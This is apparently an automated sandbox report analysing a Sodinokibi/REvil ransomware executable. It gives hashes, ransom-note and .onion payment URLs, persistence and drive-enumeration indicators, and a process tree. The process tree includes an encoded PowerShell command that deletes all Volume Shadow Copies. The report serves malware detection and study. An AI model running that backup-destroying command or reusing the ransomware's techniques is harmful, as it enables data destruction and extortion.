Analysis
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max time kernel
52s -
max time network
51s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
24-09-2024 12:04
Static task
static1
Behavioral task
behavioral1
Sample
f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
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Target
f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe
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Size
166KB
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MD5
f399f74045c127d9bab9b10fa2e81ea9
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SHA1
fa73ebc39f144e16da0b823baa594861535d094d
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SHA256
58ca453b81a5506420ef00a945ad3b3841e4ad7d5ecaf1bb983ac3c3db5ab8c1
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SHA512
3533726b13aa0f98338896afa74b04f5f5a9b8a585357077916b06c02871585ead103048aee981e5ea9d9fdd1c87c196db445b55e98d1a984b1aeff43bd5c7d1
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SSDEEP
3072:EJMawtnGqtWoKeZC62aoNUSncCyxFXtuk3F8/A:+w9vteQJYUoczJIA
Malware Config
Extracted
C:\Users\c9d47t4-read-me.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/7833288AE11E6C73
http://decryptor.cc/7833288AE11E6C73
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\oXnEn2JlQT = "C:\\Users\\Admin\\AppData\\Local\\Temp\\f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe" f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\W: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\X: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\Y: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\D: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\E: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\K: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\R: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\I: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\N: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\P: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\Q: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\T: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\B: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\G: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\H: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\Z: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\A: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\J: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\V: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\S: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\U: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\F: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\L: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\M: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened (read-only) \??\O: f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe -
Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\3237.bmp" f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe -
Drops file in Program Files directory 15 IoCs
description ioc Process File opened for modification \??\c:\program files\PopRedo.ppt f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\RenameComplete.tiff f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\UnpublishUnblock.mp4 f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File created \??\c:\program files\c9d47t4-read-me.txt f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File created \??\c:\program files (x86)\c9d47t4-read-me.txt f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\ClearDismount.mp2 f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\ConfirmStop.7z f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\DenyBlock.ppt f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\PublishApprove.mhtml f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\ResizeTest.au3 f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\ComparePop.svgz f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\OptimizeRestart.ADTS f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\RemoveMount.rle f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\SaveSuspend.txt f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe File opened for modification \??\c:\program files\TestSplit.vbs f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 3664 f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe 3664 f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe 4992 powershell.exe 4992 powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 3664 f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe Token: SeDebugPrivilege 4992 powershell.exe Token: SeBackupPrivilege 3048 vssvc.exe Token: SeRestorePrivilege 3048 vssvc.exe Token: SeAuditPrivilege 3048 vssvc.exe Token: SeTakeOwnershipPrivilege 3664 f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3664 wrote to memory of 4992 3664 f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe 82 PID 3664 wrote to memory of 4992 3664 f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe 82 -
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\f399f74045c127d9bab9b10fa2e81ea9_JaffaCakes118.exe"1⤵
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3664 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4992
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:912
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3048
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
9KB
MD58588932d82a27afc35c9173aaf59f380
SHA163ce7dafd47cef94355a674289f85bd9ddc86de2
SHA25630be6bb8c200b8cb9871ad3bdb5a749ea0e80b7c620189197d2fe332087e8ae7
SHA5128ff018e7c3c8d885ed8e5a4d7bdbdde6fd671651508b654af98c690084eac0b5ba7485d71f97b4babff24ecd95a566df6f64a1678d9b06c0ce79e0127dcc98e7